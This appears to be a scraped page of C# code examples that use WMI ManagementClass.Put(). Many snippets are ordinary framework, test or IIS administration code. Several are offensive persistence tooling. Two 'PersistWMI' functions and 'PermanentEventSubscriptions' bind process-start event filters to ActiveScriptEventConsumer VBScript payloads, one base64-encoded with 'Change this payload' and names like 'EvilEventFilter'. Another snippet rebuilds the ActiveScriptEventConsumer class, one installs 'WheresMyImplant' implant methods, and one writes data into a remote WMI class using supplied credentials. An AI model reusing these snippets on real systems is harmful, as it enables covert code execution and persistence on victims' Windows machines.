/// <summary>
 /// Given a class path, and a ManagementClass class definition, this
 /// function will create the class if it does not exist, replace the
 /// class if it exists but is different, or do nothing if the class
 /// exists and is identical.  This is useful for performance reasons
 /// since it can be expensive to delete an existing class and replace
 /// it.
 /// </summary>
 /// <param name="classPath">WMI path to class</param>
 /// <param name="newClass">Class to create or replace</param>
 static void ReplaceClassIfNecessary(string classPath, ManagementClass newClass)
 {
     try
     {
         ManagementClass oldClass = SafeGetClass(classPath);
         if (null == oldClass)
         {
             newClass.Put();
         }
         else
         {
             // TODO: Figure Out Why CompareTo does not work!!!
             //                if(false == newClass.CompareTo(newClass, ComparisonSettings.IgnoreCase | ComparisonSettings.IgnoreObjectSource))
             if (newClass.GetText(TextFormat.Mof) != oldClass.GetText(TextFormat.Mof))
             {
                 // TODO: Log to context?
                 oldClass.Delete();
                 newClass.Put();
             }
         }
     }
     catch (ManagementException e)
     {
         string strformat = RC.GetString("CLASS_NOTREPLACED_EXCEPT") + "\r\n{0}\r\n{1}";
         throw new ArgumentException(String.Format(strformat, classPath, newClass.GetText(TextFormat.Mof)), e);
     }
 }
Esempio n. 2
0
        public void Create_Modify_Delete_Static_Class()
        {
            using (var newClass = new ManagementClass(WmiTestHelper.Namespace))
            {
                const string NewClassName  = "CoreFX_Create_Modify_Delete_Static_Class\uEE68\uD79D\u1659";
                const string PropertyName  = "Key";
                const int    PropertyValue = 10;

                newClass["__CLASS"] = NewClassName;
                newClass.Properties.Add(PropertyName, CimType.SInt32, false);
                newClass.Properties[PropertyName].Qualifiers.Add("key", true);
                newClass.Put();

                var targetClass = new ManagementClass(WmiTestHelper.Namespace, NewClassName, null);
                targetClass.Get();

                newClass[PropertyName] = PropertyValue;
                newClass.Put();
                targetClass.Get();
                Assert.Equal(PropertyValue, (int)targetClass[PropertyName]);

                // If any of the steps below fail it is likely that the new class was not deleted, likely it will have to
                // be deleted via a tool like wbemtest.
                newClass.Delete();
                ManagementException managementException = Assert.Throws <ManagementException>(() => targetClass.Get());
                Assert.Equal(ManagementStatus.NotFound, managementException.ErrorCode);
            }
        }
Esempio n. 3
0
        /// <summary>
        /// Given a class path, and a ManagementClass class definition, this
        /// function will create the class if it does not exist, replace the
        /// class if it exists but is different, or do nothing if the class
        /// exists and is identical.  This is useful for performance reasons
        /// since it can be expensive to delete an existing class and replace
        /// it.
        /// </summary>
        /// <param name="classPath">WMI path to class</param>
        /// <param name="newClass">Class to create or replace</param>
        static void ReplaceClassIfNecessary(string classPath, ManagementClass newClass)
        {
            try
            {
                ManagementClass oldClass = SafeGetClass(classPath);
                if (null == oldClass)
                {
                    newClass.Put();
                }
                else
                {
                    //

                    if (newClass.GetText(TextFormat.Mof) != oldClass.GetText(TextFormat.Mof))
                    {
                        //
                        oldClass.Delete();
                        newClass.Put();
                    }
                }
            }
            catch (ManagementException e)
            {
                string strformat = RC.GetString("CLASS_NOTREPLACED_EXCEPT") + "\r\n{0}\r\n{1}";
                throw new ArgumentException(String.Format(strformat, classPath, newClass.GetText(TextFormat.Mof)), e);
            }
        }
Esempio n. 4
0
        private void CreateNewAppPool(ManagementScope scope, string name)
        {
            ManagementObject appPool = new ManagementClass(scope, new ManagementPath("IIsApplicationPoolSetting"), null).CreateInstance();

            appPool["Name"] = String.Format("W3SVC/AppPools/{0}", name);
            appPool.Put();
        }
Esempio n. 5
0
        public static int Main(string[] args)
        {
            try {
                ManagementClass existingClass = new ManagementClass("root/default:TestCreateInstance");
                existingClass.Delete();
            } catch {}

            ManagementClass newClass = new ManagementClass("root/default", "", null);

            newClass["__CLASS"] = "TestCreateInstance";

            newClass.Properties.Add("MyKey", CIMType.Uint32, false);
            newClass.Properties["mykey"].Qualifiers.Add("key", true);
            newClass.Put();

            ManagementObject newInstance = newClass.CreateInstance();

            newInstance["MyKey"] = 22;
            ManagementPath newPath = newInstance.Put();

            Console.WriteLine(newPath.Path);

            ManagementObject getInstance = new ManagementObject("root/default:TestCreateInstance=22");

            Console.WriteLine(getInstance["__RELPATH"]);
            return(0);
        }
        private void RegisterNamespaceAsInstrumented()
        {
            ManagementObject obj2 = new ManagementClass(this.GlobalRegistrationClassPath).CreateInstance();

            obj2["NamespaceName"] = this.NamespaceName;
            obj2.Put();
        }
Esempio n. 7
0
        public static int Main(string[] args)
        {
            try
            {
                // **DESTINATION**
                // Create watcher and completionHandler

                ManagementOperationWatcher delete_res            = new ManagementOperationWatcher();
                ManagementOperationWatcher results               = new ManagementOperationWatcher();
                CompletionHandler          completionHandler     = new CompletionHandler();
                CompletionHandler          completionHandler_res = new CompletionHandler();
                delete_res.Completed += new CompletedEventHandler(completionHandler_res.Done);
                results.Completed    += new CompletedEventHandler(completionHandler.Done);
                PutHandler putHandler = new PutHandler();
                results.ObjectPut += new ObjectPutEventHandler(putHandler.JustPut);

                // Create the class TestDelClassasync for deletion later
                // **SOURCE **
                ManagementClass newclassObj = new ManagementClass("root/default", "", null);
                newclassObj.SystemProperties["__CLASS"].Value = "TestDelClassasync";
                PropertySet mykeyprop = newclassObj.Properties;
                mykeyprop.Add("MyKey", "Hello");

                Console.WriteLine("Thread is {0}", System.Threading.Thread.CurrentThread.ApartmentState);
                newclassObj.Put(results);
                while (!completionHandler.IsComplete)
                {
                    System.Threading.Thread.Sleep(1000);
                }
                completionHandler.Reset();

                ManagementClass dummyClassCheck = new ManagementClass("root/default", "TestDelClassasync", null);
                //dummyClassCheck.Get();
                Console.WriteLine(dummyClassCheck.SystemProperties["__Class"].Value.ToString());

                // Delete the Class aync
                newclassObj.Delete(delete_res);
                while (!completionHandler_res.IsComplete)
                {
                    System.Threading.Thread.Sleep(1000);
                }
                completionHandler_res.Reset();
                if ("System.Management.ManagementOperationWatcher" == completionHandler_res.Sender)
                {
                    Console.WriteLine("Test 10.2: Able to delete classes asynchronously.");
                }
                else
                {
                    Console.WriteLine("Test 10.2: Unable to delete classes asynchronously.");
                }
            }
            catch (Exception e)
            {
                Console.WriteLine("Test 10.2: " + e.GetType().ToString());
                Console.WriteLine(e.Message + e.StackTrace);
            }


            return(0);
        }
        } // END ArbitraryNameSpace FUNC

        static void BuildEventConsumer()
        {
            try
            {
                // Derive base class
                ManagementClass eventConsumerBase = new ManagementClass("Root\\Win32", "__EventConsumer", null);
                ManagementClass newActiveScriptEventConsumer = eventConsumerBase.Derive("ActiveScriptEventConsumer");

                // Add properties to turn base class into facimale of ActiveScriptEventConsumer class
                newActiveScriptEventConsumer.Properties.Add("Name", CimType.String, false);
                newActiveScriptEventConsumer.Properties["Name"].Qualifiers.Add("Key", true, false, true, true, false);
                
                newActiveScriptEventConsumer.Properties.Add("ScriptingEngine", CimType.String, false);
                newActiveScriptEventConsumer.Properties["ScriptingEngine"].Qualifiers.Add("not_null", true, false, false, false, true);
                newActiveScriptEventConsumer.Properties["ScriptingEngine"].Qualifiers.Add("write", true, false, false, false, true);

                newActiveScriptEventConsumer.Properties.Add("ScriptText", CimType.String, false);
                newActiveScriptEventConsumer.Properties["ScriptText"].Qualifiers.Add("write", true, false, false, false, true);

                newActiveScriptEventConsumer.Properties.Add("ScriptFilename", CimType.String, false);
                newActiveScriptEventConsumer.Properties["ScriptFilename"].Qualifiers.Add("write", true, false, false, false, true);

                newActiveScriptEventConsumer.Properties.Add("KillTimeout", CimType.UInt32, false);
                newActiveScriptEventConsumer.Properties["KillTimeout"].Qualifiers.Add("write", true, false, false, false, true);
                newActiveScriptEventConsumer.Put();
                
                Console.WriteLine("[*] ActiveScriptEventConsumer created!");

                // The new class needs to be bound to a provider and registed 
                // First we bind the class to a provider
                ManagementScope scope = new ManagementScope(@"\\.\root\Win32");
                ManagementObject newActiveScriptEventConsumerProviderBinding = null;
                ManagementObject eventConsumerProviderRegistration = null;

                newActiveScriptEventConsumerProviderBinding = new ManagementClass(scope, new ManagementPath("__Win32Provider"), null).CreateInstance();
                
                newActiveScriptEventConsumerProviderBinding["Name"] = "ActiveScriptEventConsumer";
                newActiveScriptEventConsumerProviderBinding["Clsid"] = "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
                newActiveScriptEventConsumerProviderBinding["PerUserInitialization"] = true;
                newActiveScriptEventConsumerProviderBinding["HostingModel"] = "SelfHost";
                newActiveScriptEventConsumerProviderBinding.Put();
                
                Console.WriteLine("[*] New provider binding creatd!");

                // Then we register the binding
                string[] className = { "ActiveScriptEventConsumer" };
                eventConsumerProviderRegistration = new ManagementClass(scope, new ManagementPath("__EventConsumerProviderRegistration"), null).CreateInstance();
                
                eventConsumerProviderRegistration["provider"] = newActiveScriptEventConsumerProviderBinding;
                eventConsumerProviderRegistration["ConsumerClassNames"] = className;
                eventConsumerProviderRegistration.Put();

                Console.WriteLine("[*] Consumer registered with provider!");
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
            } // END CATCH
        } // END BuildEventConsumer FUNC
Esempio n. 9
0
    public static void Main()
    {
        ManagementClass existingClass =
            new ManagementClass("CIM_Service");
        ManagementClass newClass = existingClass.Derive("My_Service");

        newClass.Put(); //to commit the new class to the WMI repository.
    }
Esempio n. 10
0
        public IisAppPool CreateAppPool(string name)
        {
            ManagementObject appPool = new ManagementClass(scope, new ManagementPath("IIsApplicationPoolSetting"), null).CreateInstance();

            appPool["Name"] = String.Format("W3SVC/AppPools/{0}", name);
            appPool.Put();
            return(new IisAppPool(scope, name));
        }
Esempio n. 11
0
        private static void CreateBinding(ManagementObject EventFilter, ManagementObject EventConsumer)
        {
            ManagementScope  scope    = new ManagementScope(@"\\.\root\subscription");
            ManagementObject _Binding = new ManagementClass(scope, new ManagementPath("__FilterToConsumerBinding"), null).CreateInstance();

            _Binding["Filter"]   = EventFilter.Path.RelativePath;
            _Binding["Consumer"] = EventConsumer.Path.RelativePath;
            _Binding.Put();
        }
        private string RegisterProviderAsInstanceProvider()
        {
            ManagementObject obj2 = new ManagementClass(this.InstanceProviderRegistrationClassPath).CreateInstance();

            obj2["provider"]            = @"\\.\" + this.ProviderPath;
            obj2["SupportsGet"]         = true;
            obj2["SupportsEnumeration"] = true;
            return(obj2.Put().Path);
        }
 private static void EnsureNamespace(string baseNamespace, string childNamespaceName)
 {
     if (!DoesInstanceExist(baseNamespace + ":__NAMESPACE.Name=\"" + childNamespaceName + "\""))
     {
         ManagementObject obj2 = new ManagementClass(baseNamespace + ":__NAMESPACE").CreateInstance();
         obj2["Name"] = childNamespaceName;
         obj2.Put();
     }
 }
Esempio n. 14
0
        internal void GetMethods()
        {
            Type className = assembly.GetTypes()
                             .Where(t => t.Namespace == "WheresMyImplant").Distinct()
                             .Where(t => t.Name == "Implant").First();

            Console.WriteLine("[*] Adding Methods");

            foreach (MethodInfo methodInfo in className.GetMethods())
            {
                String methodName = methodInfo.Name;
                if (methodName == "GetType" |
                    methodName == "Equals" |
                    methodName == "ToString" |
                    methodName == "GetHashCode" |
                    methodName == "Install")
                {
                    continue;
                }
                ParameterInfo[] inputParameterInfo = methodInfo.GetParameters();

                ManagementClass inProperties = NewParameter("In");
                Int32           i            = 0;
                foreach (ParameterInfo info in inputParameterInfo)
                {
                    inProperties.Properties.Add(info.Name, CimType.String, false);
                    inProperties.Properties[info.Name].Qualifiers.Add("ID", i);
                    i++;
                }

                ManagementClass outProperties = NewParameter("Out");
                outProperties.Properties.Add("ReturnValue", CimType.String, false);
                outProperties.Properties["ReturnValue"].Qualifiers.Add("Out", true);

                IntPtr inPtr  = (IntPtr)inProperties;
                IntPtr outPtr = (IntPtr)outProperties;

                managementClass.Methods.Add(methodName, NewManagementBaseObject(inPtr), NewManagementBaseObject(outPtr));
                managementClass.Methods[methodName].Qualifiers.Add("Static", true);
                managementClass.Methods[methodName].Qualifiers.Add("Implemented", true);

                statusMethods += ".";
            }

            try
            {
                managementClass.Put();
            }
            catch (ManagementException ex)
            {
                Console.WriteLine("[-] {0}", ex.Message);
            }

            Console.WriteLine(statusMethods);
        }
        /// <summary>
        /// Given a class path, and a ManagementClass class definition, this
        /// function will create the class if it does not exist, replace the
        /// class if it exists but is different, or do nothing if the class
        /// exists and is identical.  This is useful for performance reasons
        /// since it can be expensive to delete an existing class and replace
        /// it.
        /// </summary>
        /// <param name="classPath">WMI path to class</param>
        /// <param name="newClass">Class to create or replace</param>
        static void ReplaceClassIfNecessary(string classPath, ManagementClass newClass)
        {
            ManagementClass oldClass = SafeGetClass(classPath);

            if (null == oldClass)
            {
                newClass.Put();
            }
            else
            {
                // TODO: Figure Out Why CompareTo does not work!!!
                //                if(false == newClass.CompareTo(newClass, ComparisonSettings.IgnoreCase | ComparisonSettings.IgnoreObjectSource))
                if (newClass.GetText(TextFormat.Mof) != oldClass.GetText(TextFormat.Mof))
                {
                    // TODO: Log to context?
                    oldClass.Delete();
                    newClass.Put();
                }
            }
        }
Esempio n. 16
0
        private void addIPPort()
        {
            var conn = new ConnectionOptions
            {
                EnablePrivileges = true,
                Impersonation    = ImpersonationLevel.Impersonate
            };

            var mPath = new ManagementPath("Win32_TCPIPPrinterPort");

            var mScope = new ManagementScope(@"\\.\root\cimv2", conn)
            {
                Options =
                {
                    EnablePrivileges = true,
                    Impersonation    = ImpersonationLevel.Impersonate
                }
            };

            var mPort = new ManagementClass(mScope, mPath, null).CreateInstance();

            var remotePort = 9100;

            try
            {
                if (IP != null && IP.Contains(":"))
                {
                    var arIP = IP.Split(':');
                    if (arIP.Length == 2)
                    {
                        remotePort = int.Parse(arIP[1]);
                    }
                }
            }
            catch (Exception ex)
            {
                Log.Error(LogName, "Could not parse port from IP");
                Log.Error(LogName, ex);
            }

            mPort.SetPropertyValue("Name", Port);
            mPort.SetPropertyValue("Protocol", 1);
            mPort.SetPropertyValue("HostAddress", IP);
            mPort.SetPropertyValue("PortNumber", remotePort);
            mPort.SetPropertyValue("SNMPEnabled", false);

            var put = new PutOptions
            {
                UseAmendedQualifiers = true,
                Type = PutType.UpdateOrCreate
            };

            mPort.Put(put);
        }
 private static void ReplaceClassIfNecessary(string classPath, ManagementClass newClass)
 {
     try
     {
         ManagementClass class2 = SafeGetClass(classPath);
         if (class2 == null)
         {
             newClass.Put();
         }
         else if (newClass.GetText(TextFormat.Mof) != class2.GetText(TextFormat.Mof))
         {
             class2.Delete();
             newClass.Put();
         }
     }
     catch (ManagementException exception)
     {
         throw new ArgumentException(string.Format(RC.GetString("CLASS_NOTREPLACED_EXCEPT") + "\r\n{0}\r\n{1}", classPath, newClass.GetText(TextFormat.Mof)), exception);
     }
 }
Esempio n. 18
0
        public static string[] create_consumer(string target, WMI_class resource, string logfile, int event_type)
        {
            ManagementScope ms = getScope(target, true);

            if (ms == null)
            {
                return(null);
            }
            ManagementClass wmiEventFilter = new ManagementClass(ms, new ManagementPath("__EventFilter"), null);
            string          condition      = resource.event_condition;
            string          operation      = resource.event_types[resource.event_index];

            switch (event_type)
            {
            case 0:
                operation = "Creation";
                break;

            case 1:
                operation = "Modification";
                break;

            case 2:
                operation = "Deletion";
                break;
            }
            Random           rand       = new Random();
            int              id         = rand.Next(1024);
            string           name       = operation + resource.consumer_name;
            WqlEventQuery    eventQuery = new WqlEventQuery("Select * FROM __Instance" + operation + "Event WITHIN 5 Where " + condition);
            ManagementObject filter     = wmiEventFilter.CreateInstance();

            filter["Name"]           = id + ":" + name + "Filter";
            filter["Query"]          = eventQuery.QueryString;
            filter["QueryLanguage"]  = eventQuery.QueryLanguage;
            filter["EventNameSpace"] = "\\root\\cimv2";
            filter.Put();

            ManagementClass  wmiEventConsumer = new ManagementClass(ms, new ManagementPath("LogFileEventConsumer"), null);
            ManagementObject consumer         = wmiEventConsumer.CreateInstance();

            consumer["Name"]     = id + ":" + name + "Consumer";
            consumer["FileName"] = logfile;
            consumer["Text"]     = string.Format(resource.logging_stub, resource.event_stub[resource.event_index]);
            consumer.Put();

            ManagementObject binding = new ManagementClass(ms, new ManagementPath("__FilterToConsumerBinding"), null).CreateInstance();

            binding["Filter"]   = filter.Path.RelativePath;
            binding["Consumer"] = consumer.Path.RelativePath;
            binding.Put();
            return(new string[] { target, id.ToString(), name + "Consumer" });
        }
        private void RegisterAssemblySpecificDecoupledProviderInstance()
        {
            ManagementObject obj2 = new ManagementClass(this.ProviderClassPath).CreateInstance();

            obj2["Name"]         = this.DecoupledProviderInstanceName;
            obj2["HostingModel"] = "Decoupled:Com";
            if (this.SecurityDescriptor != null)
            {
                obj2["SecurityDescriptor"] = this.SecurityDescriptor;
            }
            obj2.Put();
        }
        private void RegisterAssemblyAsInstrumented()
        {
            ManagementObject obj2 = new ManagementClass(this.RegistrationClassPath).CreateInstance();

            obj2["Name"]            = this.DecoupledProviderInstanceName;
            obj2["RegisteredBuild"] = this.AssemblyUniqueIdentifier;
            obj2["FullName"]        = this.AssemblyName;
            obj2["PathToAssembly"]  = this.AssemblyPath;
            obj2["Code"]            = "";
            obj2["Mof"]             = "";
            obj2.Put();
        }
Esempio n. 21
0
        static void PersistWMI()
        {
            ManagementObject myEventFilter   = null;
            ManagementObject myEventConsumer = null;
            ManagementObject myBinder        = null;

            string vbscript64 = "<INSIDE base64 encoded VBS here>";
            string vbscript   = Encoding.UTF8.GetString(Convert.FromBase64String(vbscript64));

            try
            {
                ManagementScope scope = new ManagementScope(@"\\.\root\subscription");

                ManagementClass wmiEventFilter = new ManagementClass(scope, new
                                                                     ManagementPath("__EventFilter"), null);
                String strQuery = @"SELECT * FROM __InstanceCreationEvent WITHIN 5 " +
                                  "WHERE TargetInstance ISA \"Win32_Process\" " +
                                  "AND TargetInstance.Name = \"notepad.exe\"";

                WqlEventQuery myEventQuery = new WqlEventQuery(strQuery);
                myEventFilter                   = wmiEventFilter.CreateInstance();
                myEventFilter["Name"]           = "demoEventFilter";
                myEventFilter["Query"]          = myEventQuery.QueryString;
                myEventFilter["QueryLanguage"]  = myEventQuery.QueryLanguage;
                myEventFilter["EventNameSpace"] = @"\root\cimv2";
                myEventFilter.Put();
                Console.WriteLine("[*] Event filter created.");

                myEventConsumer =
                    new ManagementClass(scope, new ManagementPath("ActiveScriptEventConsumer"),
                                        null).CreateInstance();
                myEventConsumer["Name"]            = "BadActiveScriptEventConsumer";
                myEventConsumer["ScriptingEngine"] = "VBScript";
                myEventConsumer["ScriptText"]      = vbscript;
                myEventConsumer.Put();

                Console.WriteLine("[*] Event consumer created.");

                myBinder =
                    new ManagementClass(scope, new ManagementPath("__FilterToConsumerBinding"),
                                        null).CreateInstance();
                myBinder["Filter"]   = myEventFilter.Path.RelativePath;
                myBinder["Consumer"] = myEventConsumer.Path.RelativePath;
                myBinder.Put();

                Console.WriteLine("[*] Subscription created");
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
            } // END CATCH
            Console.ReadKey();
        }     // END FUNC
Esempio n. 22
0
        public void EventStatusChanged(CatalogueElements elementType, string fullName)
        {
            // Store the changes in static properties on the LinkMe_InstrumentationEventStatusChange class.

            var config = new ManagementClass(_scope,
                                             new ManagementPath(Constants.Wmi.EventStatusChange.Class), null);

            WmiUtil.SetPropertyValue(config, Constants.Wmi.EventStatusChange.FullNameProperty, fullName);
            WmiUtil.SetPropertyValue(config, Constants.Wmi.EventStatusChange.ElementTypeProperty, (int)elementType);

            config.Put();
        }
Esempio n. 23
0
        public void AddVirtualDirectory()
        {
            var siteId = 1574596940;
//            var siteId = 1;
            var dir  = "iplayer";
            var name = String.Format(@"W3SVC/{0}/root/{1}", siteId, dir);

            var vDir = new ManagementClass(Scope, new ManagementPath("IIsWebVirtualDirSetting"), null).CreateInstance();

            vDir["Name"] = name;
            vDir["Path"] = @"C:\sites\iplayer";
            vDir.Put();

            var path = string.Format("IIsWebVirtualDir.Name='{0}'", name);
            var app  = new ManagementObject(Scope, new ManagementPath(path), null);

            app.InvokeMethod("AppCreate2", new object[] { 2 });

            vDir["AppPoolId"]       = "GipRegForm.Api";
            vDir["AppFriendlyName"] = "stuff";
            vDir.Put();
        }
        private string RegisterProviderAsEventProvider(StringCollection events)
        {
            ManagementObject obj2 = new ManagementClass(this.EventProviderRegistrationClassPath).CreateInstance();

            obj2["provider"] = @"\\.\" + this.ProviderPath;
            string[] strArray = new string[events.Count];
            int      num      = 0;

            foreach (string str in events)
            {
                strArray[num++] = "select * from " + str;
            }
            obj2["EventQueryList"] = strArray;
            return(obj2.Put().Path);
        }
Esempio n. 25
0
        static void PersistWMI()
        {
            ManagementObject myEventFilter   = null;
            ManagementObject myEventConsumer = null;
            ManagementObject myBinder        = null;

            String vbscript = "Dim fso, MyFile : Set fso = CreateObject(\"Scripting.FileSystemObject\") : Set MyFile = fso.CreateTextFile(\"c:\\WMI-CSharp-vbs.txt\", True) : MyFile.WriteLine(\"test\") : MyFile.Close";
            String strQuery = @"SELECT * FROM __InstanceCreationEvent WITHIN 5 " +
                              "WHERE TargetInstance ISA \"Win32_Process\" " +
                              "AND TargetInstance.Name = \"chrome.exe\"";

            try
            {
                ManagementScope scope = new ManagementScope(@"\\.\root\subscription");

                ManagementClass wmiEventFilter = new ManagementClass(scope, new ManagementPath("__EventFilter"), null);


                WqlEventQuery myEventQuery = new WqlEventQuery(strQuery);
                myEventFilter                   = wmiEventFilter.CreateInstance();
                myEventFilter["Name"]           = "BugSecFilter";
                myEventFilter["Query"]          = myEventQuery.QueryString;
                myEventFilter["QueryLanguage"]  = myEventQuery.QueryLanguage;
                myEventFilter["EventNameSpace"] = @"\root\cimv2";
                myEventFilter.Put();
                Console.WriteLine("[*] Event filter created.");

                myEventConsumer                    = new ManagementClass(scope, new ManagementPath("ActiveScriptEventConsumer"), null).CreateInstance();
                myEventConsumer["Name"]            = "BugSecConsumer";
                myEventConsumer["ScriptingEngine"] = "VBScript";
                myEventConsumer["ScriptText"]      = vbscript;
                myEventConsumer.Put();

                Console.WriteLine("[*] Event consumer created.");

                myBinder             = new ManagementClass(scope, new ManagementPath("__FilterToConsumerBinding"), null).CreateInstance();
                myBinder["Filter"]   = myEventFilter.Path.RelativePath;
                myBinder["Consumer"] = myEventConsumer.Path.RelativePath;
                myBinder.Put();

                Console.WriteLine("[*] Subscription created");
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
            }
            Console.ReadKey();
        }
Esempio n. 26
0
        public void Create_Modify_Delete_Static_And_Instance()
        {
            using (var newClass = new ManagementClass(WmiTestHelper.Namespace))
            {
                const string NewClassName      = "CoreFX_Create_Static_Class_And_Instance";
                const string KeyPropertyName   = "Key";
                const int    KeyPropertyValue  = 1;
                const string MoviePropertyName = "Movie";
                const string OldMovieValue     = "Sequel I";
                const string NewMovieValue     = "Sequel II";

                newClass["__CLASS"] = NewClassName;
                newClass.Properties.Add(KeyPropertyName, CimType.SInt32, false);
                newClass.Properties[KeyPropertyName].Qualifiers.Add("key", true);
                newClass.Properties.Add(MoviePropertyName, CimType.String, false);
                newClass.Put();

                ManagementObject newInstance = newClass.CreateInstance();
                newInstance[KeyPropertyName]   = KeyPropertyValue;
                newInstance[MoviePropertyName] = OldMovieValue;
                newInstance.Put();

                var targetInstance = new ManagementObject(
                    WmiTestHelper.Namespace, $"{NewClassName}.{KeyPropertyName}='{KeyPropertyValue}'", null);
                targetInstance.Get();
                Assert.Equal(OldMovieValue, targetInstance[MoviePropertyName].ToString());

                newInstance[MoviePropertyName] = NewMovieValue;
                newInstance.Put();
                Assert.Equal(NewMovieValue, newInstance[MoviePropertyName].ToString());

                targetInstance.Get();
                Assert.Equal(NewMovieValue, targetInstance[MoviePropertyName].ToString());

                // If any of the steps below fail it is likely that the new class was not deleted, likely it will have to
                // be deleted via a tool like wbemtest.
                newInstance.Delete();
                ManagementException managementException = Assert.Throws <ManagementException>(() => targetInstance.Get());
                Assert.Equal(ManagementStatus.NotFound, managementException.ErrorCode);

                // If any of the steps below fail it is likely that the new class was not deleted, likely it will have to
                // be deleted via a tool like wbemtest.
                newClass.Delete();
                managementException = Assert.Throws <ManagementException>(() => newClass.Get());
                Assert.Equal(ManagementStatus.NotFound, managementException.ErrorCode);
            }
        }
Esempio n. 27
0
        } // END BuildEventConsumer FUNC

        static void PermanentEventSubscriptions()
        {
            ManagementObject eventFilter = null;
            ManagementObject eventConsumer = null;
            ManagementObject evtToConsBinder = null;

            // Change this payload
            string vbscript64 = "RGltIHNobA0KU2V0IHNobCA9IENyZWF0ZU9iamVjdCgiV3NjcmlwdC5TaGVsbCIpDQpDYWxsIHNobC5SdW4oIiIiY2FsYy5leGUiIiIpDQpTZXQgc2hsID0gTm90aGluZw0KV1NjcmlwdC5RdWl0";
            string vbscript = Encoding.UTF8.GetString(Convert.FromBase64String(vbscript64));
            try
            {
                ManagementScope scope = new ManagementScope(@"\\.\root\Win32");
                
                ManagementClass wmiEventFilter = new ManagementClass(scope, new ManagementPath("__EventFilter"), null);
                // Change this WQL query
                String strQuery = @"SELECT * FROM __InstanceCreationEvent WITHIN 5 " +
                    "WHERE TargetInstance ISA \"Win32_Process\"";

                WqlEventQuery eventQuery = new WqlEventQuery(strQuery);
                eventFilter = wmiEventFilter.CreateInstance();
                eventFilter["Name"] = "EvilEventFilter";
                eventFilter["Query"] = eventQuery.QueryString;
                eventFilter["QueryLanguage"] = eventQuery.QueryLanguage;
                eventFilter["EventNameSpace"] = @"root\cimv2";
                eventFilter.Put();
                Console.WriteLine("[*] Event filter created!");

                eventConsumer = new ManagementClass(scope, new ManagementPath("ActiveScriptEventConsumer"), null).CreateInstance();
                eventConsumer["Name"] = "EvilActiveScriptEventConsumer";
                eventConsumer["ScriptingEngine"] = "VBScript";
                eventConsumer["ScriptText"] = vbscript;
                eventConsumer.Put();

                Console.WriteLine("[*] Event consumer created!");

                evtToConsBinder = new ManagementClass(scope, new ManagementPath("__FilterToConsumerBinding"), null).CreateInstance();
                evtToConsBinder["Filter"] = eventFilter.Path.RelativePath;
                evtToConsBinder["Consumer"] = eventConsumer.Path.RelativePath;
                evtToConsBinder.Put();

                Console.WriteLine("[*] Filter to consumer binding created!");
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
            } // END CATCH
        } // END PERSISTANCE FUNC
Esempio n. 28
0
        public IisVirtualDirectorySettings CreateVirtualDirectory(string subPath, string directory)
        {
            var path = String.Format(@"{0}/root/{1}", Name, subPath);

            var vDir = new ManagementClass(scope, new ManagementPath("IIsWebVirtualDirSetting"), null).CreateInstance();

            vDir["Name"] = path;
            vDir["Path"] = directory;
            vDir.Put();

            var virtualDirPath = string.Format("IIsWebVirtualDir.Name='{0}'", path);
            var app            = new ManagementObject(scope, new ManagementPath(virtualDirPath), null);

            app.InvokeMethod("AppCreate2", new object[] { 2 });

            return(new IisVirtualDirectorySettings(scope, path));
        }
Esempio n. 29
0
        public static int Main(string[] args)
        {
            ManagementClass dummyClass = new ManagementClass("root/default", "", null);

            dummyClass.SystemProperties["__CLASS"].Value = "TestMyCopyToClass";
            PropertySet mykeyprop = dummyClass.Properties;

            mykeyprop.Add("reg_prop", "string_prop");
            mykeyprop.Add("MyKey", "Hello");
            dummyClass.Put();
            ManagementPath myPath = new ManagementPath("root/cimv2");
            // CopyTo( )
            ManagementPath newPath = dummyClass.CopyTo(myPath);

            Console.WriteLine(newPath.Path);
            return(0);
        }
        static void WriteToWMIClass(string host, string username, string password, string wnamespace, string classname)
        {
            ConnectionOptions options = new ConnectionOptions();

            Console.WriteLine("[+] Target             : {0}", host);
            if (!String.IsNullOrEmpty(username))
            {
                Console.WriteLine("[+] User               : {0}", username);
                options.Username = username;
                options.Password = password;
            }
            Console.WriteLine();
            ManagementScope scope = new ManagementScope(String.Format("\\\\{0}\\{1}", host, wnamespace), options);

            try
            {
                scope.Connect();
                Console.WriteLine("[+] WMI connection established");
            }
            catch (Exception ex)
            {
                Console.WriteLine("[X] Failed to connecto to WMI    : {0}", ex.Message);
                return;
            }
            try
            {
                var nclass = new ManagementClass(scope, new ManagementPath(string.Empty), new ObjectGetOptions());
                nclass["__CLASS"] = classname;
                nclass.Qualifiers.Add("Static", true);
                nclass.Properties.Add("WinVal", CimType.String, false);
                nclass.Properties["WinVal"].Qualifiers.Add("read", true);
                nclass["WinVal"] = datavals;
                //nclass.Properties.Add("Sizeof", CimType.String, false);
                //nclass.Properties["Sizeof"].Qualifiers.Add("read", true);
                //nclass.Properties["Sizeof"].Qualifiers.Add("Description", "Value needed for Windows");
                nclass.Put();

                Console.WriteLine("[+] Create WMI Class     :   {0} {1}", wnamespace, classname);
            }
            catch (Exception ex)
            {
                Console.WriteLine(String.Format("[X] Error     :  {0}", ex.Message));
                return;
            }
        }